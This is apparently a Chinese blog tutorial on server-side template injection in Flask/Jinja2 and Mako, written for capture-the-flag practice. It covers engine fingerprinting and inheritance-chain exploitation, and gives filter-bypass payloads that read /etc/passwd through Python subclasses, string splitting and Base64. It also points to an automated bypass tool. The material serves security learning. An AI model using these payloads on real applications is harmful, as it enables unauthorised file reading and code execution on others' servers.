0%

SSTI学习

SSTI

模板引擎

SSTI 就是服务器端模板注入(Server-Side Template Injection)

Web开发中,模板引擎是为了使得用户界面和业务逻辑处理分离所产生。而SSTI的成因则是因为服务端没有对用户的输入做很好的处理而产生。

我们最常见到的模板语言便是jinja2,它是Flask框架一部分。它能够用于替换变量,将动态数据渲染到静态 HTML 页面。格式如下:

1
2
3
4
5
6
7
变量:
{{username}}
控制语句:
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}

通常在flask渲染html之前会有一个本地的html界面来作为模板,位于app.py同目录下的templates之下,

这里给出示例:

1
2
3
4
5
6
7
8
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, {{name}}</h3>
</body>
</html>

其中hello是静态的,而被{{}}包裹的name则可以被动态的替换,而执行这一替换逻辑就是app.py的任务。

我们给出以下示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request, render_template

app = Flask(__name__) #__name__是一种属性一样的东西,通常指向该文件的文件名__main__,如果是外部调用得到则有可能是app

@app.route('/',methods=['GET'])
#设置路由,get方式获取传递的参数
def hello_world():
query = request.args.get('name') # GET取参数name的值
return render_template('test.html', name=query) #将name的值传入模板,进行渲染

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
#让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web,同时开启debug,方便调试。开启debug后直接刷新页面就可以看到更改的界面

除了用query = request.args.get(‘name’)来获取参数传递,也可以通过 URL 路径参数 (/<name>) 获取。,该方法支持参数类型的限制,例如 <int:id>

模板注入

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是

通常有很多各个语言的常见框架,不同模板则有着不同的语法,总结如下:

附表

img

img

上图为判断模板的方法,绿色线表示执行了,红线则表示没有。

以mako模板的靶场为例:

先输入${7*7},回显为49,于是再输入a{*comment*}b,

image-20250511200647083

未执行,于是再使用${"z".join("ab")}

image-20250511200746361

成功执行,现在我们便判断出了模板类型为Mako。

魔术方法

一般就是靠继承链先得到父类再看其中有没有什么可以利用的恶意方法函数之类的能够导致命令执行,从而拿到flag。以下是一些魔术方法,我们用他们来构造继承链:

  • __class__

class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__

以元组的形式返回一个类所直接继承的类。

  • __base__

以字符串返回一个类所直接继承的类。

  • __mro__

返回解析方法调用的顺序。

  • __subclasses__()

获取类的所有子类。

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

利用

1
"".__class__.__mro__[1].__subclasses__().__init__.__globals__

这是一套构造的利用链,可以看到object类的所有子类,然后利用.__init__.__globals__来找到有没有os module或者其他的可以读写文件的。可以用python脚本进行爆破。

SSTI绕过

[]绕过

__getitem__(2)或者.pop(2)来绕过,假如.也被绕过

.绕过

1
"".__class__等价于""["__class__"]

“”绕过

一般是用于索引或者路径,可以用request.args来进行绕过,把其当作变量来填充即可。

_绕过

也同样可以用request.args,或者request.form两个传参来绕过(对应GET和POST)

示例:

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=____class____&mro=____mro____&subclasses=____subclasses____

关键字饶过

字符串拼接

可用加号拆分,使用中括号的payload:

1
{{""["__cla"+"ss__"]}}

不使用中括号的payload:

1
{{"".__getattribute__("__cla"+"ss__")}}

Base64绕过

1
{{[].____getattribute____('X19jbGFzc19f'.decode('base64')).____base____.____subclasses____()[40]("/etc/passwd").read()}}

自动化绕过工具

当然现在有很多自动化工具,比如可以看看:

https://github.com/Marven11/Fenjing

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

Flask SSTI靶场记录 - lca

初探 Python Flask+Jinja2 SSTI - Zh1z3ven - 博客园